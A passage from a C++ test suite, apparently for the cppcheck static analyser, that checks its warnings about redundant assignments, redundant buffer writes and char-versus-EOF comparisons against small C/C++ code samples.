1;\\n\"\n \" ab = do_something();\\n\"\n \" return ab.a;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(DO_SOMETHING do_something) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab++;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab = x;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct AB *ab) {\\n\" // #\n \" ab->data->x = 1;\\n\"\n \" ab = &ab1;\\n\"\n \" ab->data->x = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5964\n check(\"void func(char *buffer, const char *format, int precision, unsigned value) {\\n\"\n \" (precision < 0) ? sprintf(buffer, format, value) : sprintf(buffer, format, precision, value);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash\n check(\"struct data {\\n\"\n \" struct { int i; } fc;\\n\"\n \"};\\n\"\n \"struct state {\\n\"\n \" struct data d[123];\\n\"\n \"};\\n\"\n \"void func(struct state *s) {\\n\"\n \" s->foo[s->x++] = 2;\\n\"\n \" s->d[1].fc.i++;\\n\"\n \"}\");\n\n // #6525 - inline assembly\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6555\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The scope of the variable 'p' can be reduced. [variableScope]\\n\"\n \"[test.cpp:2:11]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" if(z) {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Member variable pointers\n check(\"void podMemPtrs() {\\n\"\n \" int POD::*memptr;\\n\"\n \" memptr = &POD::a;\\n\"\n \" memptr = &POD::b;\\n\"\n \" if (memptr)\\n\"\n \" memptr = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: style: Variable 'memptr' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:12]: note: memptr is assigned\\n\"\n \"[test.cpp:4:12]: note: memptr is overwritten\\n\", errout_str());\n\n // Pointer function argument (#3857)\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" var[0] = 0.2f;\\n\"\n \" var[0] = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'var[0]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: var[0] is assigned\\n\"\n \"[test.cpp:4:10]: note: var[0] is overwritten\\n\", errout_str());\n\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" *var = 0.2f;\\n\"\n \" *var = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: style: Variable '*var' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:8]: note: *var is assigned\\n\"\n \"[test.cpp:4:8]: note: *var is overwritten\\n\", errout_str());\n\n // Volatile variables\n check(\"void f() {\\n\"\n \" volatile char *reg = (volatile char *)0x12345;\\n\"\n \" *reg = 12;\\n\"\n \" *reg = 34;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m, int key, int value) {\\n\" // #6379\n \" m[key] = value;\\n\"\n \" m[key] = value;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: style: Variable 'm[key]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:12]: note: m[key] is assigned\\n\"\n \"[test.cpp:3:12]: note: m[key] is overwritten\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_trivial() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned a;\\n\"\n \" a = 0u;\\n\"\n \" a = 2u;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0U;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_struct() {\n check(\"struct foo {\\n\"\n \" int a,b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" struct foo x;\\n\"\n \" x.a = _mm_set1_ps(1.0);\\n\"\n \" x.a = _mm_set1_ps(2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:8:7]: (style) Variable 'x.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.x = 23;\\n\"\n \" ab.y = 41;\\n\"\n \" ab.x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:5:8]: (style) Variable 'ab.x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab = {0};\\n\"\n \" ab = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_union() {\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" lTotal += u.b.b1;\\n\"\n \" u.l1 = 2;\\n\" //Should not show RedundantAssignment\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" u.l1 = 2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:13:10] -> [test.cpp:14:10]: (style) Variable 'u.l1' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union fixed32_union {\\n\"\n \" struct {\\n\"\n \" unsigned32 abcd;\\n\"\n \" } u32;\\n\"\n \" struct {\\n\"\n \" unsigned16 ab;\\n\"\n \" unsigned16 cd;\\n\"\n \" } u16;\"\n \" struct {\\n\"\n \" unsigned8 a;\\n\"\n \" unsigned8 b;\\n\"\n \" unsigned8 c;\\n\"\n \" unsigned8 d;\\n\"\n \" } b;\\n\"\n \"} fixed32;\\n\"\n \"void func1(void) {\\n\"\n \" fixed32 m;\\n\"\n \" m.u16.ab = 47;\\n\"\n \" m.u16.cd = 0;\\n\"\n \" m.u16.ab = m.u32.abcd / 53;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union{\\n\"\n \" char as_char[4];\\n\"\n \" int as_int;\\n\"\n \"} union_t;\\n\"\n \"void fn(char *data, int len) {\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < len; i++)\\n\"\n \" data[i] = 'a';\\n\"\n \"}\\n\"\n \"int main(int argc, char *argv[]) {\\n\"\n \" union_t u;\\n\"\n \" u.as_int = 42;\\n\"\n \" fn(&u.as_char[0], 4);\\n\"\n \" u.as_int = 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void foo(char *ptr) {\\n\"\n \" union {\\n\"\n \" char * s8;\\n\"\n \" unsigned long long u64;\\n\"\n \" } addr;\\n\"\n \" addr.s8 = ptr;\\n\"\n \" addr.u64 += 8;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12895\n \" int x, y;\\n\"\n \"};\\n\"\n \"union U {\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void f(const U& Src, const U& Dst) {\\n\"\n \" Dst.s->x = Src.s->x;\\n\"\n \" Dst.s->y = Src.s->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_7133() {\n // #7133\n check(\"sal_Int32 impl_Export() {\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" uno::Sequence< uno::Any > aArgs(2);\\n\"\n \" beans::NamedValue aValue;\\n\"\n \" aValue.Name = \\\"DocumentHandler\\\";\\n\"\n \" aValue.Value <<= xDocHandler;\\n\"\n \" aArgs[0] <<= aValue;\\n\"\n \" aValue.Name = \\\"Model\\\";\\n\"\n \" aValue.Value <<= xDocumentComp;\\n\"\n \" aArgs[1] <<= aValue;\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:24] -> [test.c:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24] -> [test.cpp:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n\n check(\"class C { void operator=(int x); };\\n\" // #8368 - assignment operator might have side effects => inconclusive\n \"void f() {\\n\"\n \" C c;\\n\"\n \" c = x;\\n\"\n \" c = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:5:7]: (style, inconclusive) Variable 'c' is reassigned a value before the old one has been used if variable is no semaphore variable. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_stackoverflow() {\n check(\"typedef struct message_node {\\n\"\n \" char code;\\n\"\n \" size_t size;\\n\"\n \" struct message_node *next, *prev;\\n\"\n \"} *message_list;\\n\"\n \"static message_list remove_message_from_list(message_list m) {\\n\"\n \" m->prev->next = m->next;\\n\"\n \" m->next->prev = m->prev;\\n\"\n \" return m->next;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_lambda() {\n // #7152\n check(\"int foo() {\\n\"\n \" int x = 0, y = 0;\\n\"\n \" auto f = [&]() { if (x < 5) ++y; };\\n\"\n \" x = 2;\\n\"\n \" f();\\n\"\n \" x = 6;\\n\"\n \" f();\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10228\n check(\"std::tuple g();\\n\"\n \"void h(int);\\n\"\n \"void f() {\\n\"\n \" auto [a, b] = g();\\n\"\n \" auto l = [a = a]() { h(i); };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_loop() {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < 4; i++)\\n\"\n \" buf[i] = 131;\\n\"\n \" buf[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\" // #9262 do-while with break\n \" int x = 0;\\n\"\n \" x = 432;\\n\"\n \" do {\\n\"\n \" if (foo()) break;\\n\"\n \" x = 1;\\n\"\n \" } while (false);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FP\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++)\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FN\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantVarAssignment_after_switch() {\n check(\"void f(int x) {\\n\" // #7907\n \" int ret;\\n\"\n \" switch (x) {\\n\"\n \" case 123:\\n\"\n \" ret = 1;\\n\" // redundant assignment\n \" break;\\n\"\n \" }\\n\"\n \" ret = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:8:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_pointer() {\n check(\"void f(int *ptr) {\\n\"\n \" int *x = ptr + 1;\\n\"\n \" *x = 23;\\n\"\n \" foo(ptr);\\n\"\n \" *x = 32;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8997\n check(\"void f() {\\n\"\n \" char x[2];\\n\"\n \" char* p = x;\\n\"\n \" *p = 1;\\n\"\n \" p += 1;\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_pointer_parameter() {\n check(\"void f(int *p) {\\n\"\n \" *p = 1;\\n\"\n \" if (condition) return;\\n\"\n \" *p = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_array() {\n check(\"void f() {\\n\"\n \" int arr[10];\\n\"\n \" int i = 0;\\n\"\n \" arr[i] = 1;\\n\"\n \" i += 2;\\n\"\n \" arr[i] = 3;\\n\"\n \" dostuff(arr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_switch_break() {\n // #10058\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:7:13]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantInitialization() {\n setMultiline();\n\n check(\"void f() {\\n\"\n \" int err = -ENOMEM;\\n\"\n \" err = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: style: Redundant initialization for 'err'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:13]: note: err is initialized\\n\"\n \"[test.cpp:3:9]: note: err is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" struct S s = {1,2,3};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Redundant initialization for 's'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:16]: note: s is initialized\\n\"\n \"[test.cpp:3:7]: note: s is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" p = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n // \"trivial\" initialization => do not warn\n check(\"void f() {\\n\"\n \" struct S s = {0};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N { enum E {e0,e1}; }\\n\"\n \"void f() {\\n\"\n \" N::E e = N::e0;\\n\" // #9261\n \" e = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10143\n \" std::shared_ptr i = g();\\n\"\n \" h();\\n\"\n \" i = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #9815\n \" int i = g();\\n\"\n \" i = std::distance(v.begin(), std::find_if(v.begin(), v.end(), [=](int j) { return i == j; }));\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // cppcheck-suppress unusedPrivateFunction\n void redundantMemWrite() {\n // Simple tests\n // cppcheck-suppress unreachableCode - remove when code is enabled again\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" sprintf(a, \\\"foo\\\");\\n\"\n \" memmove(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f(char *filename) {\\n\"\n \" char *p = strrchr(filename,'.');\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \" dostuff(filename);\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Writing to different parts of a buffer\n check(\"void f(void* a) {\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a+5, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Use variable as second argument\n check(\"void f(void* a, void* b) {\\n\"\n \" memset(a, 0, 5);\\n\"\n \" memcpy(b, a, 5);\\n\"\n \" memset(a, 1, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strcat is special\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strcat(a, bar);\\n\" // Not redundant\n \" strcpy(a, x);\\n\" // Redundant\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n // Tests with function call between copy\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" snprintf(a, foo, bar);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void* a;\\n\"\n \"void f() {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", \"\", errout_str());\n\n check(\"void bar(void* a) {}\\n\"\n \"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar(a);\\n\" // Passed as argument\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" if(x)\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4455 - initialization of local buffer\n check(\"void f(void) {\"\n \" char buf[10];\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char buf[10] = {0};\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'buf' is being written before its old content has been used.\\n\", errout_str());\n\n // #5689 - use return value of strcpy\n check(\"int f(void* a) {\\n\"\n \" int i = atoi(strcpy(a, foo));\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7175 - read+write\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\" // <- read + write\n \" strcpy(buf, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\"\n \" strcpy(buf, x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantAssignmentSameValue() {\n check(\"int main() {\\n\" // #11642\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:5]: (style) Variable 'a' is assigned an expression that holds the same value. [redundantAssignment]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b + 1;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b = 5;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:11]: (style) Redundant initialization for 'b'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12874\n \" int j = i + 1;\\n\"\n \" if (i > 5)\\n\"\n \" j = i;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12894\n \" std::string a;\\n\"\n \" void f(const S& s);\\n\"\n \" void g(const S& s);\\n\"\n \"};\\n\"\n \"void S::f(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" this->operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\"\n \"void S::g(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varFuncNullUB() { // #4482\n check(\"void a(...);\\n\"\n \"void b() { a(NULL); }\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability) Passing NULL after the last typed argument to a variadic function leads to undefined behaviour. [varFuncNullUB]\\n\", errout_str());\n\n check(\"void a(char *p, ...);\\n\"\n \"void b() { a(NULL, 2); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCastIntToCharAndBack() { // #160\n\n // check getchar\n check(\"void f() {\\n\"\n \"unsigned char c; c = getchar();\\n\"\n \" while( c != EOF)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \"unsigned char c = getchar();\\n\"\n \" while( EOF != c)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c; c = getchar();\\n\"\n \" while( EOF != c )\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c;\\n\"\n \" while( EOF != ( c = getchar() ) )\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( i != EOF)\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( EOF != i )\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check getc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n 